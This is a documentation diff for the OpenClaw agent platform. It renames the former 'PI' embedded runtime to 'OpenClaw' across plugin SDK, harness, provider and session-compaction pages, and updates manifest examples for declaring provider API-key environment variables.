@@ Ask affected collaborators to run this read-only command on their OpenClaw host: ```bash ( - pattern='openai/gpt-5\.[45]|agentRuntime(\.id)?|harnessRuntime|Runtime: OpenAI Codex|openai-codex|resolveSelectedOpenAIPiRuntimeProvider|candidateProvider[": ]+openai|status[": ]+401|Incorrect API key|No API key|api-key path|API-key path|OAuth' + pattern='openai/gpt-5\.[45]|agentRuntime(\.id)?|harnessRuntime|Runtime: OpenAI Codex|openai-codex|resolveSelectedOpenAIRuntimeProvider|candidateProvider[": ]+openai|status[": ]+401|Incorrect API key|No API key|api-key path|API-key path|OAuth' if ls /tmp/openclaw/openclaw-*.log >/dev/null 2>&1; then grep -E -i -n "$pattern" /tmp/openclaw/openclaw-*.log 2>/dev/null || true @@ -734,9 +734,9 @@ that any custom `appServer.command`, `url`, `authToken`, or headers are valid. headers, and that the remote app-server speaks the same Codex app-server protocol version. -**A non-Codex model uses PI:** that is expected unless provider or model runtime -policy routes it to another harness. Plain non-OpenAI provider refs stay on -their normal provider path in `auto` mode. +**A non-Codex model uses the built-in harness:** that is expected unless +provider or model runtime policy routes it to another harness. Plain non-OpenAI +provider refs stay on their normal provider path in `auto` mode. **Computer Use is installed but tools do not run:** check `/codex computer-use status` from a fresh session. If a tool reports diff --git a/docs/plugins/codex-native-plugins.md b/docs/plugins/codex-native-plugins.md index 1716930e320..0e7756de53e 100644 --- a/docs/plugins/codex-native-plugins.md +++ b/docs/plugins/codex-native-plugins.md @@ -27,7 +27,7 @@ Use this page after the base [Codex harness](/plugins/codex-harness) is working. - The target Codex app-server must be able to see the expected marketplace, plugin, and app inventory. -`codexPlugins` has no effect on PI runs, normal OpenAI provider runs, ACP +`codexPlugins` has no effect on OpenClaw runs, normal OpenAI provider runs, ACP conversation bindings, or other harnesses because those paths do not create Codex app-server threads with native `apps` config. diff --git a/docs/plugins/manifest.md b/docs/plugins/manifest.md index 55ae6d43fc7..aa7dc73f6b3 100644 --- a/docs/plugins/manifest.md +++ b/docs/plugins/manifest.md @@ -100,8 +100,13 @@ or npm install metadata. Those belong in your plugin code and `package.json`. }, "cliBackends": ["openrouter-cli"], "syntheticAuthRefs": ["openrouter-cli"], - "providerAuthEnvVars": { - "openrouter": ["OPENROUTER_API_KEY"] + "setup": { + "providers": [ + { + "id": "openrouter", + "envVars": ["OPENROUTER_API_KEY"] + } + ] }, "providerAuthAliases": { "openrouter-coding": "openrouter" @@ -293,8 +298,13 @@ avoid importing a plugin runtime just to have its tool factory return `null`. ```json { - "providerAuthEnvVars": { - "example": ["EXAMPLE_API_KEY"] + "setup": { + "providers": [ + { + "id": "example", + "envVars": ["EXAMPLE_API_KEY"] + } + ] }, "contracts": { "tools": ["example_search"] @@ -618,7 +628,7 @@ read without importing the plugin runtime. ```json { "contracts": { - "agentToolResultMiddleware": ["pi", "codex"], + "agentToolResultMiddleware": ["openclaw", "codex"], "externalAuthProviders": ["acme-ai"], "embeddingProviders": ["openai-compatible"], "speechProviders": ["openai"], @@ -671,9 +681,7 @@ Tool discovery uses this list to load only the plugin runtimes that can own the requested tools. Provider plugins that implement `resolveExternalAuthProfiles` should declare -`contracts.externalAuthProviders`. Plugins without the declaration still run -through a deprecated compatibility fallback, but that fallback is slower and -will be removed after the migration window. +`contracts.externalAuthProviders`; undeclared external-auth hooks are ignored. General embedding providers should declare `contracts.embeddingProviders` for each adapter registered with `api.registerEmbeddingProvider(...)`. Use the @@ -1348,7 +1356,7 @@ See [Configuration reference](/gateway/configuration) for the full `plugins.*` s - Native manifests are parsed with JSON5, so comments, trailing commas, and unquoted keys are accepted as long as the final value is still an object. - Only documented manifest fields are read by the manifest loader. Avoid custom top-level keys. - `channels`, `providers`, `cliBackends`, and `skills` can all be omitted when a plugin does not need them. -- `providerCatalogEntry` must stay lightweight and should not import broad runtime code; use it for static provider catalog metadata or narrow discovery descriptors, not request-time execution. `providerDiscoveryEntry` is the legacy spelling and still works for existing plugins. +- `providerCatalogEntry` must stay lightweight and should not import broad runtime code; use it for static provider catalog metadata or narrow discovery descriptors, not request-time execution. - Exclusive plugin kinds are selected through `plugins.slots.*`: `kind: "memory"` via `plugins.slots.memory`, `kind: "context-engine"` via `plugins.slots.contextEngine` (default `legacy`). - Declare exclusive plugin kind in this manifest. Runtime-entry `OpenClawPluginDefinition.kind` is deprecated and remains only as a compatibility fallback for older plugins. - Env-var metadata (`setup.providers[].envVars`, deprecated `providerAuthEnvVars`, and `channelEnvVars`) is declarative only. Status, audit, cron delivery validation, and other read-only surfaces still apply plugin trust and effective activation policy before treating an env var as configured. diff --git a/docs/plugins/sdk-agent-harness.md b/docs/plugins/sdk-agent-harness.md index 615e7542a92..655e5900485 100644 --- a/docs/plugins/sdk-agent-harness.md +++ b/docs/plugins/sdk-agent-harness.md @@ -47,7 +47,7 @@ That split is intentional. A harness runs a prepared attempt; it does not pick providers, replace channel delivery, or silently switch models. The prepared attempt also includes `params.runtimePlan`, an OpenClaw-owned -policy bundle for runtime decisions that must stay shared across PI and native +policy bundle for runtime decisions that must stay shared across OpenClaw and native harnesses: - `runtimePlan.tools.normalize(...)` and @@ -59,7 +59,7 @@ harnesses: - `runtimePlan.outcome.classifyRunResult(...)` for model fallback classification - `runtimePlan.observability` for resolved provider/model/harness metadata -Harnesses may use the plan for decisions that need to match PI behavior, but +Harnesses may use the plan for decisions that need to match OpenClaw behavior, but should still treat it as host-owned attempt state. Do not mutate it or use it to switch providers/models inside a turn. @@ -107,14 +107,13 @@ OpenClaw chooses a harness after provider/model resolution: 2. Provider-scoped runtime policy comes next. 3. `auto` asks registered harnesses if they support the resolved provider/model. -4. If no registered harness matches, OpenClaw uses PI unless PI fallback is - disabled. +4. If no registered harness matches, OpenClaw uses its embedded runtime. -Plugin harness failures surface as run failures. In `auto` mode, PI fallback is +Plugin harness failures surface as run failures. In `auto` mode, embedded fallback is only used when no registered plugin harness supports the resolved provider/model. Once a plugin harness has claimed a run, OpenClaw does not -replay that same turn through PI because that can change auth/runtime semantics -or duplicate side effects. +replay that same turn through another runtime because that can change +auth/runtime semantics or duplicate side effects. Whole-session and whole-agent runtime pins are ignored by selection. That includes stale session `agentHarnessId` values, `agents.defaults.agentRuntime`, @@ -164,14 +163,14 @@ Codex `0.124.0`, while pinning OpenClaw to the newer tested stable line. Bundled plugins can attach runtime-neutral tool-result middleware through `api.registerAgentToolResultMiddleware(...)` when their manifest declares the targeted runtime ids in `contracts.agentToolResultMiddleware`. This trusted -seam is for async tool-result transforms that must run before PI or Codex feeds +seam is for async tool-result transforms that must run before OpenClaw or Codex feeds tool output back into the model. Legacy bundled plugins can still use `api.registerCodexAppServerExtensionFactory(...)` for Codex app-server-only middleware, but new result transforms should use the runtime-neutral API. -The Pi-only `api.registerEmbeddedExtensionFactory(...)` hook has been removed; -Pi tool-result transforms must use runtime-neutral middleware. +The embedded-runner-only `api.registerEmbeddedExtensionFactory(...)` hook has been removed; +embedded tool-result transforms must use runtime-neutral middleware. ### Terminal outcome classification @@ -199,17 +198,17 @@ visible transcript mirror, tool policy, approvals, media delivery, and session selection. Use provider/model `agentRuntime.id: "codex"` when you need to prove that only the Codex app-server path can claim the run. Explicit plugin runtimes fail closed; Codex app-server selection failures and runtime failures are not -retried through PI. +retried through another runtime. ## Runtime strictness By default, OpenClaw uses `auto` provider/model runtime policy: registered -plugin harnesses can claim a provider/model pair, and PI handles the turn when -none match. OpenAI agent refs on the official OpenAI provider default to Codex. +plugin harnesses can claim a provider/model pair, and the embedded runtime +handles the turn when none match. OpenAI agent refs on the official OpenAI provider default to Codex. Use an explicit provider/model plugin runtime such as `agentRuntime.id: "codex"` when missing harness selection should fail instead -of routing through PI. Selected plugin harness failures always fail hard. This -does not block an explicit provider/model `agentRuntime.id: "pi"`. +of routing through the embedded runtime. Selected plugin harness failures always +fail hard. This does not block an explicit provider/model `agentRuntime.id: "openclaw"`. For Codex-only embedded runs: @@ -305,7 +304,7 @@ The OpenClaw transcript remains the compatibility layer for: - channel-visible session history - transcript search and indexing -- switching back to the built-in PI harness on a later turn +- switching back to the built-in OpenClaw harness on a later turn - generic `/new`, `/reset`, and session deletion behavior If your harness stores a sidecar binding, implement `reset(...)` so OpenClaw can @@ -318,12 +317,12 @@ When a harness executes a dynamic tool call, return the tool result back through the harness result shape instead of sending channel media yourself. This keeps text, image, video, music, TTS, approval, and messaging-tool outputs -on the same delivery path as PI-backed runs. +on the same delivery path as OpenClaw-backed runs. ## Current limitations - The public import path is generic, but some attempt/result type aliases still - carry `Pi` names for compatibility. + carry legacy names for compatibility. - Third-party harness installation is experimental. Prefer provider plugins until you need a native session runtime. - Harness switching is supported across turns. Do not switch harnesses in the diff --git a/docs/plugins/sdk-migration.md b/docs/plugins/sdk-migration.md index 2745ae09b5e..12b289c3711 100644 --- a/docs/plugins/sdk-migration.md +++ b/docs/plugins/sdk-migration.md @@ -30,13 +30,13 @@ anything they needed from a single entry point: window. - **`openclaw/extension-api`** - a bridge that gave plugins direct access to host-side helpers like the embedded agent runner. -- **`api.registerEmbeddedExtensionFactory(...)`** - a removed Pi-only bundled +- **`api.registerEmbeddedExtensionFactory(...)`** - a removed embedded-runner-only bundled extension hook that could observe embedded-runner events such as `tool_result`. The broad import surfaces are now **deprecated**. They still work at runtime, but new plugins must not use them, and existing plugins should migrate before -the next major release removes them. The Pi-only embedded extension factory +the next major release removes them. The embedded-runner-only extension factory registration API has been removed; use tool-result middleware instead. OpenClaw does not remove or reinterpret documented plugin behavior in the same @@ -48,7 +48,7 @@ registration behavior. The backwards-compatibility layer will be removed in a future major release. Plugins that still import from these surfaces will break when that happens. - Pi-only embedded extension factory registrations already no longer load. + Legacy embedded extension factory registrations already no longer load. ## Why this changed @@ -294,17 +294,17 @@ releases. - - Bundled plugins must replace Pi-only + + Bundled plugins must replace embedded-runner-only `api.registerEmbeddedExtensionFactory(...)` tool-result handlers with runtime-neutral middleware. ```typescript - // Pi and Codex runtime dynamic tools + // OpenClaw and Codex runtime dynamic tools api.registerAgentToolResultMiddleware(async (event) => { return compactToolResult(event); }, { - runtimes: ["pi", "codex"], + runtimes: ["openclaw", "codex"], }); ``` @@ -313,7 +313,7 @@ releases. ```json { "contracts": { - "agentToolResultMiddleware": ["pi", "codex"] + "agentToolResultMiddleware": ["openclaw", "codex"] } } ``` @@ -406,11 +406,11 @@ releases. ```typescript // Before (deprecated extension-api bridge) - import { runEmbeddedPiAgent } from "openclaw/extension-api"; - const result = await runEmbeddedPiAgent({ sessionId, prompt }); + import { runEmbeddedAgent } from "openclaw/extension-api"; + const result = await runEmbeddedAgent({ sessionId, prompt }); // After (injected runtime) - const result = await api.runtime.agent.runEmbeddedPiAgent({ sessionId, prompt }); + const result = await api.runtime.agent.runEmbeddedAgent({ sessionId, prompt }); ``` The same pattern applies to other legacy bridge helpers: @@ -828,13 +828,12 @@ canonical replacement. - - **Old**: implementing `resolveExternalOAuthProfiles(...)` without - declaring the provider in the plugin manifest. + + **Old**: implementing external auth hooks without declaring the provider + in the plugin manifest. **New**: declare `contracts.externalAuthProviders` in the plugin manifest - **and** implement `resolveExternalAuthProfiles(...)`. The old "auth - fallback" path emits a warning at runtime and will be removed. + **and** implement `resolveExternalAuthProfiles(...)`. ```json { @@ -919,8 +918,8 @@ canonical replacement. - Covered in "How to migrate → Migrate Pi tool-result extensions to - middleware" above. Included here for completeness: the removed Pi-only + Covered in "How to migrate → Migrate embedded tool-result extensions to + middleware" above. Included here for completeness: the removed embedded-runner-only `api.registerEmbeddedExtensionFactory(...)` path is replaced by `api.registerAgentToolResultMiddleware(...)` with an explicit runtime list in `contracts.agentToolResultMiddleware`. diff --git a/docs/plugins/sdk-overview.md b/docs/plugins/sdk-overview.md index d6879fd41b6..3131c33d584 100644 --- a/docs/plugins/sdk-overview.md +++ b/docs/plugins/sdk-overview.md @@ -135,14 +135,15 @@ structured entries: ```ts agentPromptGuidance: [ "Global command hint.", - { text: "Only show this in the main PI prompt.", surfaces: ["pi_main"] }, + { text: "Only show this in the main OpenClaw prompt.", surfaces: ["openclaw_main"] }, ]; ``` -Structured `surfaces` may include `pi_main`, `codex_app_server`, `cli_backend`, -`acp_backend`, or `subagent`. Omit `surfaces` for intentional all-surface -guidance. Do not pass an empty `surfaces` array; it is rejected so accidental -scope loss does not become global prompt text. +Structured `surfaces` may include `openclaw_main`, `codex_app_server`, +`cli_backend`, `acp_backend`, or `subagent`. `pi_main` remains a deprecated alias +for `openclaw_main`. Omit `surfaces` for intentional all-surface guidance. Do +not pass an empty `surfaces` array; it is rejected so accidental scope loss does +not become global prompt text. Native Codex app-server developer instructions are stricter than other prompt surfaces: only guidance explicitly scoped to `codex_app_server` is promoted into @@ -256,9 +257,9 @@ Examples of non-Plan consumers: seam for async output reducers such as tokenjuice. Bundled plugins must declare `contracts.agentToolResultMiddleware` for each -targeted runtime, for example `["pi", "codex"]`. External plugins +targeted runtime, for example `["openclaw", "codex"]`. External plugins cannot register this middleware; keep normal OpenClaw plugin hooks for work -that does not need pre-model tool-result timing. The old Pi-only embedded +that does not need pre-model tool-result timing. The old embedded-runner-only extension factory registration path has been removed. diff --git a/docs/plugins/sdk-provider-plugins.md b/docs/plugins/sdk-provider-plugins.md index 108e6793a44..7023bc77e8b 100644 --- a/docs/plugins/sdk-provider-plugins.md +++ b/docs/plugins/sdk-provider-plugins.md @@ -61,8 +61,13 @@ API key auth, and dynamic model resolution. "modelSupport": { "modelPrefixes": ["acme-"] }, - "providerAuthEnvVars": { - "acme-ai": ["ACME_AI_API_KEY"] + "setup": { + "providers": [ + { + "id": "acme-ai", + "envVars": ["ACME_AI_API_KEY"] + } + ] }, "providerAuthAliases": { "acme-ai-coding": "acme-ai" @@ -88,7 +93,7 @@ API key auth, and dynamic model resolution. ``` - The manifest declares `providerAuthEnvVars` so OpenClaw can detect + The manifest declares `setup.providers[].envVars` so OpenClaw can detect credentials without loading your plugin runtime. Add `providerAuthAliases` when a provider variant should reuse another provider id's auth. `modelSupport` is optional and lets OpenClaw auto-load your provider plugin from shorthand @@ -466,12 +471,11 @@ API key auth, and dynamic model resolution. | 10 | `resolveDynamicModel` | Accept arbitrary upstream model IDs | | 11 | `prepareDynamicModel` | Async metadata fetch before resolving | | 12 | `normalizeResolvedModel` | Transport rewrites before the runner | - | 13 | `contributeResolvedModelCompat` | Compat flags for vendor models behind another compatible transport | - | 14 | `normalizeToolSchemas` | Provider-owned tool-schema cleanup before registration | - | 15 | `inspectToolSchemas` | Provider-owned tool-schema diagnostics | - | 16 | `resolveReasoningOutputMode` | Tagged vs native reasoning-output contract | - | 17 | `prepareExtraParams` | Default request params | - | 18 | `createStreamFn` | Fully custom StreamFn transport | + | 13 | `normalizeToolSchemas` | Provider-owned tool-schema cleanup before registration | + | 14 | `inspectToolSchemas` | Provider-owned tool-schema diagnostics | + | 15 | `resolveReasoningOutputMode` | Tagged vs native reasoning-output contract | + | 16 | `prepareExtraParams` | Default request params | + | 17 | `createStreamFn` | Fully custom StreamFn transport | | 19 | `wrapStreamFn` | Custom headers/body wrappers on the normal stream path | | 20 | `resolveTransportTurnState` | Native per-turn headers/metadata | | 21 | `resolveWebSocketSessionPolicy` | Native WS session headers/cool-down | @@ -500,7 +504,7 @@ API key auth, and dynamic model resolution. Runtime fallback notes: - `normalizeConfig` checks the matched provider first, then other hook-capable provider plugins until one actually changes the config. If no provider hook rewrites a supported Google-family config entry, the bundled Google config normalizer still applies. - - `resolveConfigApiKey` uses the provider hook when exposed. The bundled `amazon-bedrock` path also has a built-in AWS env-marker resolver here, even though Bedrock runtime auth itself still uses the AWS SDK default chain. + - `resolveConfigApiKey` uses the provider hook when exposed. Amazon Bedrock keeps AWS env-marker resolution in its provider plugin; runtime auth itself still uses the AWS SDK default chain when configured with `auth: "aws-sdk"`. - `resolveThinkingProfile(ctx)` receives the selected `provider`, `modelId`, optional merged `reasoning` catalog hint, and optional merged model `compat` facts. Use `compat` only to select the provider's thinking UI/profile. - `resolveSystemPromptContribution` lets a provider inject cache-aware system-prompt guidance for a model family. Prefer it over `before_prompt_build` when the behavior belongs to one provider/model family and should preserve the stable/dynamic cache split. diff --git a/docs/plugins/sdk-runtime.md b/docs/plugins/sdk-runtime.md index 5f5fb080ca8..3576776ee75 100644 --- a/docs/plugins/sdk-runtime.md +++ b/docs/plugins/sdk-runtime.md @@ -144,7 +144,7 @@ two-party event loops that do not go through the shared inbound reply runner. `runEmbeddedAgent(...)` is the neutral helper for starting a normal OpenClaw agent turn from plugin code. It uses the same provider/model resolution and agent-harness selection as channel-triggered replies. - `runEmbeddedPiAgent(...)` remains as a compatibility alias. + `runEmbeddedPiAgent(...)` remains as a deprecated compatibility alias for existing plugins. New code should use `runEmbeddedAgent(...)`. `resolveThinkingPolicy(...)` returns the provider/model's supported thinking levels and optional default. Provider plugins own the model-specific profile through their thinking hooks, so tool plugins should call this runtime helper instead of importing or duplicating provider lists. diff --git a/docs/plugins/sdk-subpaths.md b/docs/plugins/sdk-subpaths.md index f85b6a200f2..6558560a8b7 100644 --- a/docs/plugins/sdk-subpaths.md +++ b/docs/plugins/sdk-subpaths.md @@ -254,6 +254,7 @@ and pairing-path families. | `plugin-sdk/model-session-runtime` | Model/session override helpers such as `applyModelOverrideToSessionEntry` and `resolveAgentMaxConcurrent` | | `plugin-sdk/talk-config-runtime` | Talk provider config resolution helpers | | `plugin-sdk/json-store` | Small JSON state read/write helpers | + | `plugin-sdk/json-unsafe-integers` | JSON parsing helpers that preserve unsafe integer literals as strings | | `plugin-sdk/file-lock` | Re-entrant file-lock helpers | | `plugin-sdk/persistent-dedupe` | Disk-backed dedupe cache helpers | | `plugin-sdk/acp-runtime` | ACP runtime/session and reply-dispatch helpers | diff --git a/docs/providers/bedrock.md b/docs/providers/bedrock.md index 57bdb8cc9de..d966d0985c7 100644 --- a/docs/providers/bedrock.md +++ b/docs/providers/bedrock.md @@ -6,7 +6,7 @@ read_when: title: "Amazon Bedrock" --- -OpenClaw can use **Amazon Bedrock** models via pi-ai's **Bedrock Converse** +OpenClaw can use **Amazon Bedrock** models via its **Bedrock Converse** streaming provider. Bedrock auth uses the **AWS SDK default credential chain**, not an API key. diff --git a/docs/providers/openai.md b/docs/providers/openai.md index 8823f4ef862..b161fa690b7 100644 --- a/docs/providers/openai.md +++ b/docs/providers/openai.md @@ -36,9 +36,9 @@ changing config. | ---------------------------------------------------- | -------------------------------------------------------- | --------------------------------------------------------------------- | | ChatGPT/Codex subscription with native Codex runtime | `openai/gpt-5.5` | Default OpenAI agent setup. Sign in with Codex auth. | | Direct API-key billing for agent models | `openai/gpt-5.5` plus a Codex-compatible API-key profile | Use `auth.order.openai` to place the backup after subscription auth. | -| Direct API-key billing through explicit PI | `openai/gpt-5.5` plus provider/model runtime `pi` | Select a normal `openai` API-key profile. | +| Direct API-key billing through explicit OpenClaw | `openai/gpt-5.5` plus provider/model runtime `openclaw` | Select a normal `openai` API-key profile. | | Latest ChatGPT Instant API alias | `openai/chat-latest` | Direct API-key only. Moving alias for experiments, not the default. | -| ChatGPT/Codex subscription auth through explicit PI | `openai/gpt-5.5` plus provider/model runtime `pi` | Select an `openai-codex` auth profile for the compatibility route. | +| ChatGPT/Codex subscription auth through OpenClaw | `openai/gpt-5.5` plus provider/model runtime `openclaw` | Select an `openai-codex` auth profile for the compatibility route. | | Image generation or editing | `openai/gpt-image-2` | Works with either `OPENAI_API_KEY` or OpenAI Codex OAuth. | | Transparent-background images | `openai/gpt-image-1.5` | Use `outputFormat=png` or `webp` and `openai.background=transparent`. | @@ -71,11 +71,11 @@ direct API-key auth for an OpenAI agent model. OpenAI agent model turns require the bundled Codex app-server plugin. Explicit -PI runtime config remains available as an opt-in compatibility route. When PI is +OpenClaw runtime config remains available as an opt-in compatibility route. When OpenClaw is explicitly selected with an `openai-codex` auth profile, OpenClaw keeps the -public model ref as `openai/*` and routes PI internally through the legacy -Codex-auth transport. Run `openclaw doctor --fix` to repair stale -`openai-codex/*`, `codex-cli/*`, or old PI session pins that do not come from +public model ref as `openai/*` and routes internally through the Codex-auth +transport. Run `openclaw doctor --fix` to repair stale +`openai-codex/*`, `codex-cli/*`, or old runtime session pins that do not come from explicit runtime config. @@ -178,7 +178,7 @@ Choose your preferred auth method and follow the setup steps. | ---------------------- | -------------------------- | --------------------------- | ---------------- | | `openai/gpt-5.5` | omitted / provider/model `agentRuntime.id: "codex"` | Codex app-server harness | Codex-compatible OpenAI profile | | `openai/gpt-5.4-mini` | omitted / provider/model `agentRuntime.id: "codex"` | Codex app-server harness | Codex-compatible OpenAI profile | - | `openai/gpt-5.5` | provider/model `agentRuntime.id: "pi"` | PI embedded runtime | `openai` profile or selected `openai-codex` profile | + | `openai/gpt-5.5` | provider/model `agentRuntime.id: "openclaw"` | OpenClaw embedded runtime | `openai` profile or selected `openai-codex` profile | `openai/*` agent models use the Codex app-server harness. To use API-key @@ -265,13 +265,13 @@ Choose your preferred auth method and follow the setup steps. | Model ref | Runtime config | Route | Auth | |-----------|----------------|-------|------| | `openai/gpt-5.5` | omitted / provider/model `agentRuntime.id: "codex"` | Native Codex app-server harness | Codex sign-in or ordered `openai` auth profile | - | `openai/gpt-5.5` | provider/model `agentRuntime.id: "pi"` | PI embedded runtime with internal Codex-auth transport | Selected `openai-codex` profile | + | `openai/gpt-5.5` | provider/model `agentRuntime.id: "openclaw"` | OpenClaw embedded runtime with internal Codex-auth transport | Selected `openai-codex` profile | | `openai-codex/gpt-5.5` | repaired by doctor | Legacy route rewritten to `openai/gpt-5.5` | Existing `openai-codex` profile | | `codex-cli/gpt-5.5` | repaired by doctor | Legacy CLI route rewritten to `openai/gpt-5.5` | Codex app-server auth | Prefer `openai/gpt-5.5` for new subscription-backed agent config. Older - `openai-codex/gpt-*` refs are legacy PI routes, not the native Codex runtime + `openai-codex/gpt-*` refs are legacy OpenClaw routes, not the native Codex runtime path; run `openclaw doctor --fix` when you want to migrate them to canonical `openai/*` refs. `openai-codex/gpt-5.3-codex-spark` is the exception for accounts whose Codex catalog advertises that model; direct `openai/*` and @@ -345,7 +345,7 @@ Choose your preferred auth method and follow the setup steps. openclaw models auth list --agent --provider openai-codex ``` - If an older config still has `openai-codex/gpt-*` or a stale OpenAI PI + If an older config still has `openai-codex/gpt-*` or a stale OpenAI runtime session pin without explicit runtime config, repair it: ```bash @@ -377,14 +377,14 @@ Choose your preferred auth method and follow the setup steps. Chat `/status` shows which model runtime is active for the current session. The bundled Codex app-server harness appears as `Runtime: OpenAI Codex` for - OpenAI agent model turns. Stale PI session pins are repaired to Codex unless - config explicitly pins PI. + OpenAI agent model turns. Stale OpenAI runtime session pins are repaired to Codex unless + config explicitly pins OpenClaw. ### Doctor warning - If `openai-codex/*` routes or stale OpenAI PI pins remain in config or + If `openai-codex/*` routes or stale OpenAI runtime pins remain in config or session state, `openclaw doctor --fix` rewrites them to `openai/*` with the - Codex runtime unless PI is explicitly configured. + Codex runtime unless OpenClaw is explicitly configured. ### Context window cap @@ -571,7 +571,7 @@ See [Video Generation](/tools/video-generation) for shared tool parameters, prov ## GPT-5 prompt contribution -OpenClaw adds a shared GPT-5 prompt contribution for GPT-5-family runs on OpenClaw-assembled prompt surfaces. It applies by model id, so PI/provider routes such as legacy pre-repair refs (`openai-codex/gpt-5.5`), `openrouter/openai/gpt-5.5`, `opencode/gpt-5.5`, and other compatible GPT-5 refs receive the same overlay. Older GPT-4.x models do not. +OpenClaw adds a shared GPT-5 prompt contribution for GPT-5-family runs on OpenClaw-assembled prompt surfaces. It applies by model id, so OpenClaw/provider routes such as legacy pre-repair refs (`openai-codex/gpt-5.5`), `openrouter/openai/gpt-5.5`, `opencode/gpt-5.5`, and other compatible GPT-5 refs receive the same overlay. Older GPT-4.x models do not. The bundled native Codex harness does not receive this OpenClaw GPT-5 overlay through Codex app-server developer instructions. Native Codex keeps Codex-owned base, model, and project-doc behavior, while OpenClaw disables Codex's built-in personality for native threads so agent workspace personality files stay authoritative. OpenClaw contributes only runtime context such as channel delivery, OpenClaw dynamic tools, ACP delegation, workspace context, and OpenClaw skills. @@ -961,13 +961,13 @@ the Server-side compaction accordion below. - For direct OpenAI Responses models (`openai/*` on `api.openai.com`), the OpenAI plugin's Pi-harness stream wrapper auto-enables server-side compaction: + For direct OpenAI Responses models (`openai/*` on `api.openai.com`), the OpenAI plugin's OpenClaw stream wrapper auto-enables server-side compaction: - Forces `store: true` (unless model compat sets `supportsStore: false`) - Injects `context_management: [{ type: "compaction", compact_threshold: ... }]` - Default `compact_threshold`: 70% of `contextWindow` (or `80000` when unavailable) - This applies to the built-in Pi harness path and to OpenAI provider hooks used by embedded runs. The native Codex app-server harness manages its own context through Codex and is configured by OpenAI's default agent route or provider/model runtime policy. + This applies to the built-in OpenClaw runtime path and to OpenAI provider hooks used by embedded runs. The native Codex app-server harness manages its own context through Codex and is configured by OpenAI's default agent route or provider/model runtime policy. @@ -1035,7 +1035,7 @@ the Server-side compaction accordion below. { agents: { defaults: { - embeddedPi: { executionContract: "strict-agentic" }, + embeddedAgent: { executionContract: "strict-agentic" }, }, }, } diff --git a/docs/providers/opencode-go.md b/docs/providers/opencode-go.md index ed390b0ca4a..f2fab917500 100644 --- a/docs/providers/opencode-go.md +++ b/docs/providers/opencode-go.md @@ -18,7 +18,7 @@ provider id `opencode-go` so upstream per-model routing stays correct. ## Built-in catalog -OpenClaw sources most Go catalog rows from the bundled pi model registry and +OpenClaw sources most Go catalog rows from the bundled OpenClaw model registry and supplements current upstream rows while the registry catches up. Run `openclaw models list --provider opencode-go` for the current model list. diff --git a/docs/reference/AGENTS.default.md b/docs/reference/AGENTS.default.md index 13892fd4fd1..4550ee3cc30 100644 --- a/docs/reference/AGENTS.default.md +++ b/docs/reference/AGENTS.default.md @@ -91,7 +91,7 @@ git commit -m "Add Clawd workspace" ## What OpenClaw does -- Runs WhatsApp gateway + Pi coding agent so the assistant can read/write chats, fetch context, and run skills via the host Mac. +- Runs WhatsApp gateway + embedded OpenClaw agent so the assistant can read/write chats, fetch context, and run skills via the host Mac. - macOS app manages permissions (screen recording, notifications, microphone) and exposes the `openclaw` CLI via its bundled binary. - Direct chats collapse into the agent's `main` session by default; groups stay isolated as `agent:::group:` (rooms/channels: `agent:::channel:`); heartbeats keep background tasks alive. diff --git a/docs/reference/code-mode.md b/docs/reference/code-mode.md index b150e608cd0..d126f4b49f0 100644 --- a/docs/reference/code-mode.md +++ b/docs/reference/code-mode.md @@ -498,7 +498,7 @@ This prevents recursion and keeps the model-facing contract narrow. ## Tool Search interaction -Code mode supersedes the PI Tool Search model surface for runs where it is +Code mode supersedes the OpenClaw Tool Search model surface for runs where it is active. When `tools.codeMode.enabled` is true and code mode activates: @@ -511,7 +511,7 @@ When `tools.codeMode.enabled` is true and code mode activates: - Nested calls dispatch through the same OpenClaw executor path that Tool Search uses. -The existing [Tool Search](/tools/tool-search) page describes the PI compact +The existing [Tool Search](/tools/tool-search) page describes the OpenClaw compact catalog bridge. Code mode is the generic OpenClaw alternative for runs that can use `exec` and `wait`. diff --git a/docs/reference/session-management-compaction.md b/docs/reference/session-management-compaction.md index 40fbb514460..1f2c897bfcc 100644 --- a/docs/reference/session-management-compaction.md +++ b/docs/reference/session-management-compaction.md @@ -163,7 +163,7 @@ Rules of thumb: - **Daily reset** (default 4:00 AM local time on the gateway host) creates a new `sessionId` on the next message after the reset boundary. - **Idle expiry** (`session.reset.idleMinutes` or legacy `session.idleMinutes`) creates a new `sessionId` when a message arrives after the idle window. When daily + idle are both configured, whichever expires first wins. - **System events** (heartbeat, cron wakeups, exec notifications, gateway bookkeeping) may mutate the session row but do not extend daily/idle reset freshness. Reset rollover discards queued system-event notices for the previous session before the fresh prompt is built. -- **Parent fork policy** uses PI's active branch when creating a thread or subagent fork. If that branch is too large, OpenClaw starts the child with isolated context instead of failing or inheriting unusable history. The sizing policy is automatic; legacy `session.parentForkMaxTokens` config is removed by `openclaw doctor --fix`. +- **Parent fork policy** uses OpenClaw's active branch when creating a thread or subagent fork. If that branch is too large, OpenClaw starts the child with isolated context instead of failing or inheriting unusable history. The sizing policy is automatic; legacy `session.parentForkMaxTokens` config is removed by `openclaw doctor --fix`. Implementation detail: the decision happens in `initSessionState()` in `src/auto-reply/reply/session.ts`. @@ -204,7 +204,7 @@ The store is safe to edit, but the Gateway is the authority: it may rewrite or r ## Transcript structure (`*.jsonl`) -Transcripts are managed by `@earendil-works/pi-coding-agent`'s `SessionManager`. +Transcripts are managed by `openclaw/plugin-sdk/agent-sessions`'s `SessionManager`. The file is JSONL: @@ -269,9 +269,9 @@ assistant tool calls paired with their matching `toolResult` entries. --- -## When auto-compaction happens (Pi runtime) +## When auto-compaction happens (OpenClaw runtime) -In the embedded Pi agent, auto-compaction triggers in two cases: +In the embedded OpenClaw agent, auto-compaction triggers in two cases: 1. **Overflow recovery**: the model returns a context overflow error (`request_too_large`, `context length exceeded`, `input exceeds the maximum @@ -296,7 +296,7 @@ Where: - `contextWindow` is the model's context window - `reserveTokens` is headroom reserved for prompts + the next model output -These are Pi runtime semantics (OpenClaw consumes the events, but Pi decides when to compact). +These are OpenClaw runtime semantics. OpenClaw can also trigger a preflight local compaction before opening the next run when `agents.defaults.compaction.maxActiveTranscriptBytes` is set and the @@ -305,25 +305,25 @@ reopen cost, not raw archival: OpenClaw still runs normal semantic compaction, and it requires `truncateAfterCompaction` so the compacted summary can become a new successor transcript. -For embedded Pi runs, `agents.defaults.compaction.midTurnPrecheck.enabled: true` +For embedded OpenClaw runs, `agents.defaults.compaction.midTurnPrecheck.enabled: true` adds an opt-in tool-loop guard. After a tool result is appended and before the next model call, OpenClaw estimates the prompt pressure using the same preflight budget logic used at turn start. If the context no longer fits, the guard does -not compact inside Pi's `transformContext` hook. It raises 